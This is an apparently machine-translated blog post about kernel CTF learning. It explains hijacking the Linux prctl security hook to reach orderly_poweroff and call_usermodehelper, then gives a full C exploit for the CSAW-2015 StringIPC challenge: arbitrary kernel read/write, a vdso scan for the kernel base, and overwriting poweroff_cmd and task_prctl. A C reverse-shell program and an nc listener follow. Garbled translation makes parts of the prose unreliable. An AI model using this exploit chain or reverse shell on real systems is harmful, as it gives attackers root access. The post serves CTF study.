Hicjack prctl for linux kernel pwn learning

Hijack prctl

Prctl is a function of linux, which can make some settings for processes and threads. In prctl, the corresponding functions are called through virtual tables. If we hijack the virtual tables of prctl to point to other kernel functions that are helpful to us, such as the call ﹣ usermodelhelper function, which executes a binary file passed in by the user and executes with root permission, we can make use of it Raise power.

Let's analyze the source code of prctl. In linux/kernel/sys.c, we see that

We will continue to follow up, check the security ﹣ task ﹣ prctl function, and find it in the linux/security/security.c file

Function calls the function in the task ﹣ prctl table. Therefore, if we hijack the task ﹣ prctl table, we can execute the function we want by executing prctl, such as the call ﹣ usermodelhelper function. In order to determine the address of the table we should hijack, we first write a small demo.c

  1. #include <sys/prctl.h>  
  2.   
  3. int main() {  
  4.    prctl(0,0);  
  5. }  

Then, compile and put it into the system. Let's first check the address of the security ﹣ task ﹣ prctl function

Next, we use gdb to break the point here, and then run our demo program

Successful breakpoint

Continue single step, here

Thus, we determine the address of the task ﹣ prctl table, subtract the kernel base address, and then we can determine the offset of task ﹣ prctl. Here, we get the offset 0xeb8118.

Unfortunately, the first parameter passed into the security ﹣ task ﹣ prctl function is truncated, which means that if we hijack the task ﹣ prctl as a call ﹣ usermodelhelper, it cannot be fully utilized in 64 bit.

Because the first parameter of the call uusermodehelper function is a string address

In order to solve this problem, we can learn from the idea of hijacking one gadget under glibc. Let's search whether there is a similar one gadget that can be used. We search the kernel source code to find which functions call the call ﹣ usermodelhelper function.

We find that the MCE do trigger function can be used. The first two parameters of the call uusermodehelper function are from the global data segment, which may be hijacked and modified by us

We have found several suitable ones

Where run CMD calls the call uusermodehelper function. Therefore, we only need to hijack prctl_task to these functions, such as _orderly_poweroff, and then tamper with poweroff_cmd as the binary path we need to execute. Then call prctl, and our binary file will be executed with root permission, so as to raise the right. We can execute a program that bounces the shell, and then use nc to connect.

In order to achieve this, we first need to get the kernel base address. Before that, I https://blog.csdn.net/seaaseesa/article/details/104694219 This blog talks about hijacking vdso. We also need to make use of it. After we calculate the address of vdso, we can calculate the base address of the kernel, because the difference between them is constant.

Take CSAW-2015-StringIPC as an example. Its expand. C is as follows

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/time.h>
#include <sys/auxv.h>

#define CSAW_IOCTL_BASE     0x77617363
#define CSAW_ALLOC_CHANNEL  CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL   CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL   CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL   CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL  CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL   CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL  CSAW_IOCTL_BASE+8
//Offset of poweroff string
#define POWEROFF_CMD 0xE4DFA0
//The offset of order  poweroff function
#define ORDERLY_POWEROFF 0x9c950
//Offset of task ﹣ prctl
#define TASK_PRCTL 0xeb8118;

struct alloc_channel_args {
    size_t buf_size;
    int id;
};

struct shrink_channel_args {
    int id;
    size_t size;
};

struct read_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct write_channel_args {
    int id;
    char *buf;
    size_t count;
};

struct seek_channel_args {
    int id;
    loff_t index;
    int whence;
};

void errExit(char *msg) {
   puts(msg);
   exit(-1);
}
//Driver's file descriptor
int fd;
//Initialize driver
void initFD() {
   fd = open("/dev/csaw",O_RDWR);
   if (fd < 0) {
      errExit("[-] open file error!!");
   }
}

//Apply for a channel, return id
int alloc_channel(size_t size) {
   struct alloc_channel_args args;
   args.buf_size = size;
   args.id = -1;
   ioctl(fd,CSAW_ALLOC_CHANNEL,&args);
   if (args.id == -1) {
      errExit("[-]alloc_channel error!!");
   }
   return args.id;
}

//Change the size of the channel
void shrink_channel(int id,size_t size) {
   struct shrink_channel_args args;
   args.id = id;
   args.size = size;
   ioctl(fd,CSAW_SHRINK_CHANNEL,&args);
}
//seek
void seek_channel(int id,loff_t offset,int whence) {
   struct seek_channel_args args;
   args.id = id;
   args.index = offset;
   args.whence = whence;
   ioctl(fd,CSAW_SEEK_CHANNEL,&args);
}
//Read data
void read_channel(int id,char *buf,size_t count) {
   struct read_channel_args args;
   args.id = id;
   args.buf = buf;
   args.count = count;
   ioctl(fd,CSAW_READ_CHANNEL,&args);
}
//Writing data
void write_channel(int id,char *buf,size_t count) {
   struct write_channel_args args;
   args.id = id;
   args.buf = buf;
   args.count = count;
   ioctl(fd,CSAW_WRITE_CHANNEL,&args);
}
//Any address read
void arbitrary_read(int id,char *buf,size_t addr,size_t count) {
   seek_channel(id,addr-0x10,SEEK_SET);
   read_channel(id,buf,count);
}
//Any address
//Since strncpy "from" user is used in the topic, it will be truncated when encountering 0. Therefore, we write byte by byte
void arbitrary_write(int id,char *buf,size_t addr,size_t count) {
   for (int i=0;i<count;i++) {
      seek_channel(id,addr+i-0x10,SEEK_SET);
      write_channel(id,buf+i,1);
   }
}
//Get the offset of the string "gettimeofday" in vdso from vdso.so
int get_gettimeofday_str_offset() {
   //Get the vdso.so load address 0x7ffxxxxxxx of the current program
   size_t vdso_addr = getauxval(AT_SYSINFO_EHDR);
   char* name = "gettimeofday";
   if (!vdso_addr) {
      errExit("[-]error get name's offset");
   }
   //You only need to search 1 page, because vdso mapping is 0x1000
   size_t name_addr = memmem(vdso_addr, 0x1000, name, strlen(name));
   if (name_addr < 0) {
      errExit("[-]error get name's offset");
   }
   return name_addr - vdso_addr;
}

int main() {
   char *buf = (char *)calloc(1,0x1000);
   initFD();
   //Apply for a channel, size 0x100
   int id = alloc_channel(0x100);
   //Change the size of the channel, form a vulnerability, and read and write any address
   shrink_channel(id,0x101);
   //Get the offset of gettimeofday string in vdso.so
   int gettimeofday_str_offset = get_gettimeofday_str_offset();
   printf("gettimeofday str in vdso.so offset=0x%x\n",gettimeofday_str_offset);
   size_t vdso_addr = -1;
   for (size_t addr=0xffffffff80000000;addr < 0xffffffffffffefff;addr += 0x1000) {
      //Read a page of data
      arbitrary_read(id,buf,addr,0x1000);
      //If it happens to be this string at the corresponding offset, then we can determine the current address of vdso
      //The reason why it can be determined is that we read 0x1000 bytes of data each time, that is, 1 page, and the mapping of vdso is only 1 page
      if (!strcmp(buf+gettimeofday_str_offset,"gettimeofday")) {
         printf("[+]find vdso.so!!\n");
         vdso_addr = addr;
         printf("[+]vdso in kernel addr=0x%lx\n",vdso_addr);
         break;
      }
   }
   if (vdso_addr == -1) {
      errExit("[-]can't find vdso.so!!");
   }
   //Calculate the kernel base address
   size_t kernel_base = vdso_addr & 0xffffffffff000000;
   printf("[+]kernel_base=0x%lx\n",kernel_base);
   size_t poweroff_cmd_addr = kernel_base + POWEROFF_CMD;
   printf("[+]poweroff_cmd_addr=0x%lx\n",poweroff_cmd_addr);
   size_t orderly_poweroff_addr = kernel_base + ORDERLY_POWEROFF;
   printf("[+]poweroff_cmd_addr=0x%lx\n",orderly_poweroff_addr);
   size_t task_prctl_addr = kernel_base + TASK_PRCTL;
   printf("[+]task_prctl_addr=0x%lx\n",task_prctl_addr);
   //Rebound shell, executed binary file, executed by call "usermodelhelper, with root
   char reverse_command[] = "/reverse_shell";
   //Modify the string at poweroff? CMD? Addr to the path of the binary file we need to execute
   arbitrary_write(id,reverse_command,poweroff_cmd_addr,strlen(reverse_command));
   //hijack prctl, which makes the task "prctl point to the order" poweroff function
   arbitrary_write(id,&orderly_poweroff_addr,task_prctl_addr,8);
   if (fork() == 0) { //fork a subprocess to trigger a shell bounce
      prctl(0,0);
      exit(-1);
   } else {
      printf("[+]open a shell\n");
      system("nc -lvnp 7777");
   }

   return 0;
}

Qwb2018 solid core is also the same solution, which can be modified a little. The program to bounce the shell is as follows

#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include <fcntl.h> 
#include <unistd.h>

char server_ip[]="127.0.0.1";
uint32_t server_port=7777;

int main() 
{
    int sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in attacker_addr = {0};
    attacker_addr.sin_family = AF_INET;
    attacker_addr.sin_port = htons(server_port);
    attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
    while(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0);
    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);
    system("/bin/sh");
}

 

73 original articles published, praised 17, visited 7557
Private letter follow

Tags: shell Linux socket glibc

Posted on Thu, 05 Mar 2020 22:50:48 -0800 by Traduim